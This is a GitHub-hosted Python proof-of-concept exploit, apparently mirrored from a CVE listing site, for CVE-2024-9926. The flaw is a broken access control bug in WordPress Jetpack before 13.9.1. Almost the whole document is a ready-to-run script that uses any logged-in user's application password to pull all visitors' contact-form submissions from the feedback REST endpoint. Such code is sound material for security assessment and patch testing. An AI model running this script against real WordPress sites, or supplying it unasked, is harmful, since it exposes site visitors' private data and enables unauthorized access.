4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3

# Exploit Title: Jetpack < 13.9.1 - Broken Access Control in Contact Form
# Date: 2024-11-01
# Exploit Author: Antonio Francesco Sardella
# Vendor Homepage: https://jetpack.com/
# Software Link: https://jetpack.com/
# Version: Every version of Jetpack since 3.9.9.
# Tested on: 'WordPress 6.6.2' in Docker container (vulnerable application), 'Ubuntu 24.04.1 LTS' with 'Python 3.12.3' (script execution)
# CVE: CVE-2024-9926
# Category: WebApps
# Repository: https://github.com/m3ssap0/wordpress-jetpack-broken-access-control-exploit
# Vulnerability discovered and reported by: Marc Montpas

# This is a Python3 program that exploits Jetpack < 13.9.1 broken access control vulnerability.

# This vulnerability could be used by any logged in users on a site to read forms submitted by visitors on the site.

# https://jetpack.com/blog/jetpack-13-9-1-critical-security-update/
# https://wpscan.com/vulnerability/669382af-f836-4896-bdcb-5c6a57c99bd9/

# DISCLAIMER: This tool is intended for security engineers and appsec people for security assessments.
# Please use this tool responsibly. I do not take responsibility for the way in which any one uses 
# this application. I am NOT responsible for any damages caused or any crimes committed by using this tool.

import argparse
import json
import logging
import requests
import validators

from requests.auth import HTTPBasicAuth

VERSION = "v1.0 (2024-11-01)"
DEFAULT_LOGGING_LEVEL = logging.INFO

def parse_arguments():
    parser = argparse.ArgumentParser(
        description=f"Exploit for Jetpack < 13.9.1 broken access control vulnerability (CVE-2024-9926). - {VERSION}"
    )
    parser.add_argument("-t", "--target",
                        required=True,
                        help="URL of the target WordPress")
    parser.add_argument("-u", "--username",
                        required=True,
                        help="Username of WordPress")
    parser.add_argument("-ap", "--application-password",
                        required=True,
                        help="Application Password generated for the user (it's NOT the user password)")
    parser.add_argument("-v", "--verbose",
                        action="store_true",
                        required=False,
                        default=False,
                        help="verbose mode")
    return parser.parse_args()

def validate_input(args):
    try:
        validators.url(args.target)
    except validators.ValidationFailure:
        raise ValueError("Invalid target URL!")

    if len(args.username.strip()) < 1:
        raise ValueError("Invalid username!")
    
    if len(args.application_password.strip()) < 1:
        raise ValueError("Invalid Application Password!")

def send_request(url, username, application_password):
    logging.info("Sending request to target WordPress.")

    target_endpoint = f"{url}"
    if not target_endpoint.endswith("/"):
        target_endpoint = f"{target_endpoint}/"
    target_endpoint = f"{target_endpoint}?rest_route=/wp/v2/feedback"

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
    }
    
    basic = HTTPBasicAuth(username, application_password)
    
    try:
        r = requests.get(target_endpoint, headers=headers, auth=basic, verify=False)
        logging.info(f"Request sent to target WordPress (HTTP {r.status_code}).")
    except Exception as e:
        logging.fatal("Error in contacting the target WordPress.")
        logging.fatal(e)
        return
    
    if r.status_code == 200 and "application/json" in r.headers["Content-Type"]:
        logging.info(f"\n---------------------\n{json.dumps(r.json(), indent=3)}\n---------------------")
    else:
        logging.fatal("Wrong response received from the target WordPress.")
        if "application/json" in r.headers["Content-Type"]: 
            logging.fatal(f"\n---------------------\n{json.dumps(r.json(), indent=3)}\n---------------------")
        else:
            logging.fatal(f"\n---------------------\n{r.text}\n---------------------")

def main():
    args = parse_arguments()
    logging_level = DEFAULT_LOGGING_LEVEL
    if args.verbose:
        logging_level = logging.DEBUG
    logging.basicConfig(level=logging_level, format="%(asctime)s - %(levelname)s - %(message)s")

    validate_input(args)
    target = args.target.strip()
    username = args.username.strip()
    application_password = args.application_password.strip()
    logging.info(f"Exploit for Jetpack < 13.9.1 broken access control vulnerability (CVE-2024-9926). - {VERSION}")
    logging.debug("Parameters:")
    logging.debug(f"              target = {target}")
    logging.debug(f"            username = {username}")
    logging.debug(f"application_password = {application_password}")

    send_request(target, username, application_password)

    logging.info("Finished.")

if __name__ == "__main__":
    main()